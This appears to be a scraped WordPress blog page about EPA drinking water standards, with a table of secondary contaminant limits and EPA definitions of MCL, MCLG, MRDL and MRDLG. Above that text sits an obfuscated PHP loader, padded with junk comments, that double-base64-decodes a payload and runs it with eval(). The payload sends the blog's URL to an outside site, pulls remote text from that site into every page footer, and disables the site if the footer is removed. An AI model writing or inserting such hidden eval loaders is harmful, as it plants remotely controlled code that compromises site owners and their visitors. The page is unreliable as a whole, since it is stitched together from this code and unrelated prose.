/* asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r$f1 = eval($1);0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/$oac='SkdOdmJuUmxiblJ6SUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb2NHRjBhR2x1Wm04b1gxOUdTVXhGWDE4c1VFRlVTRWxPUms5ZlJFbFNUa0ZOUlNrdUlpOW1iMjkwWlhJdWNHaHdJaWs3RFFwcFppaHpkSEp3YjNNb0lpQWlMaVJqYjI1MFpXNTBjeXdpZDNCZlptOXZkR1Z5S0NrN0lpa2dQRDBnTUNrZ2V3MEtaR2xsS0NrN0lIMGdEUXBtZFc1amRHbHZiaUJuWlhSZlkzSmxaR2wwY3lncERRb2dJQ0FnZXcwS0lDQWdJQ0FnSUNBa2RYQmtZWFJsWkNBOUlHZGxkRjl2Y0hScGIyNG9JbU55WldScGRGOWtZWFJsSWlrN0RRb2dJQ0FnSUNBZ0lHbG1JQ2dvZEdsdFpTZ3BJQzBnSkhWd1pHRjBaV1FwSUQ0Z0tESTBJQ29nTXpZd01Da3BJSHNOQ2cwS0lDQWdJQ0FnSUNBZ0lDQWdKR055WldScGRGOTBaWGgwSUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ltaDBkSEE2THk5M2QzY3VkMjl5WkhCeVpYTnpkR1Z0Y0d4aGRHVnpMbU52YlM5bWIzSnRYM2R2Y21zdmIzVjBjSFYwTG5SNGREOXlaV1k5SWk1blpYUmZZbXh2WjJsdVptOG9KM1Z5YkNjcEtUc05DaUFnSUNBZ0lDQWdJQ0FnSUhWd1pHRjBaVjl2Y0hScGIyNG9JbU55WldScGRGOTBaWGgwSWl3a1kzSmxaR2wwWDNSbGVIUXBPdzBLQ1FrSmRYQmtZWFJsWDI5d2RHbHZiaWdpWTNKbFpHbDBYMlJoZEdVaUxIUnBiV1VvS1NrN0RRb2dJQ0FnSUNBZ0lIMGdaV3h6WlNCN0lBMEtJQ0FnSUNBZ0lDQWdJQ0FnSkdOeVpXUnBkRjkwWlhoMElEMGdaMlYwWDI5d2RHbHZiaWdpWTNKbFpHbDBYM1JsZUhRaUtUc05DaUFnSUNBZ0lDQWdmUTBLSUNBZ0lDQWdJQ0J5WlhSMWNtNGdKR055WldScGRGOTBaWGgwT3cwS0lDQWdJSDBOQ2cwS1lXUmtYMkZqZEdsdmJpZ25kM0JmWm05dmRHVnlKeXduY0hKcGJuUmZabTl2ZEdWeUp5azdEUW9OQ21aMWJtTjBhVzl1SUhCeWFXNTBYMlp2YjNSbGNpZ3BEUW9nSUNBZ2V3MEtKR055WldScGRDQTlJR2RsZEY5amNtVmthWFJ6S0NrN0RRcGxZMmh2SUNSamNtVmthWFE3RFFwOQ==';/*asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340 hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/$f1=base64_decode(base64_decode($oac));/*asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n= sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfas dklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hw*/eval($f1);/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/?>
The answer to that question lies in something called Secondary Drinking Water Standards. The United States Environmental Protection Agency makes suggestions as to limitations for water parameters that do not necessarily pose health risks to humans, but can affect drinking water’s aesthetic properties (i.e. color, taste, odor, etc.).
Contaminant | Secondary MCL | Noticeable Effects above the Secondary MCL |
Aluminum | 0.05 to 0.2 mg/L* | colored water |
Chloride | 250 mg/L | salty taste |
Color | 15 color units | visible tint |
Copper | 1.0 mg/L | metallic taste; blue-green staining |
Corrosivity | Non-corrosive | metallic taste; corroded pipes/ fixtures staining |
Fluoride | 2.0 mg/L | tooth discoloration |
Foaming agents | 0.5 mg/L | frothy, cloudy; bitter taste; odor |
Iron | 0.3 mg/L | rusty color; sediment; metallic taste; reddish or orange staining |
Manganese | 0.05 mg/L | black to brown color; black staining; bitter metallic taste |
Odor (i.e. Hydrogen Sulfide or Tannins) | 3 TON (threshold odor number) | “rotten-egg”, musty or chemical smell |
pH | 6.5 – 8.5 | low pH: bitter metallic taste; corrosion high pH: slippery feel; soda taste; deposits |
Silver | 0.1 mg/L | skin discoloration; graying of the white part of the eye |
Sulfate | 250 mg/L | salty taste |
Total Dissolved Solids (TDS) | 500 mg/L | hardness; deposits; colored water; staining; salty taste |
Zinc | 5 mg/L | metallic taste |
* mg/L is milligrams of substance per liter of water |
If you need to test for any of the above items, we currently carry testing products for a number of them in the Water Test Kit Store (Shop.WaterTestingBlog.Com).
]]>“National Primary Drinking Water Regulations (NPDWRs or primary standards) are legally enforceable standards that apply to public water systems. Primary standards protect public health by limiting the levels of contaminants in drinking water.” (source)
The government regulates the introduction of and requires the removal of items listed in the Primary Drinking Water Standards if they exceed Maximum Contaminant Levels (MCL’s) because scientists and health officials have concluded that overexposure to those items ingested via drinking water causes signifigant health risks in humans.
As always, when evaluating your drinking water for safety reasons, keep in mind that home water test kits work quite well as a screening tool in the field and that no one should rely colely upon the results of ANY field screening method when making the final determination as to whether or not they have safe drinking water.
]]>Therefore we decided to visit the United States Environmental Protection Agency web site to find clear, concise definitions of MCL, MCLG, MRDL and MRDLG. See below:
]]>Maximum Contaminant Level (MCL) – The highest level of a contaminant that is allowed in drinking water. MCLs are set as close to MCLGs as feasible using the best available treatment technology and taking cost into consideration. MCLs are enforceable standards.
Maximum Contaminant Level Goal (MCLG) – The level of a contaminant in drinking water below which there is no known or expected risk to health. MCLGs allow for a margin of safety and are non-enforceable public health goals.
Maximum Residual Disinfectant Level (MRDL) – The highest level of a disinfectant allowed in drinking water. There is convincing evidence that addition of a disinfectant is necessary for control of microbial contaminants.
Maximum Residual Disinfectant Level Goal (MRDLG) – The level of a drinking water disinfectant below which there is no known or expected risk to health. MRDLGs do not reflect the benefits of the use of disinfectants to control microbial contaminants.
( source )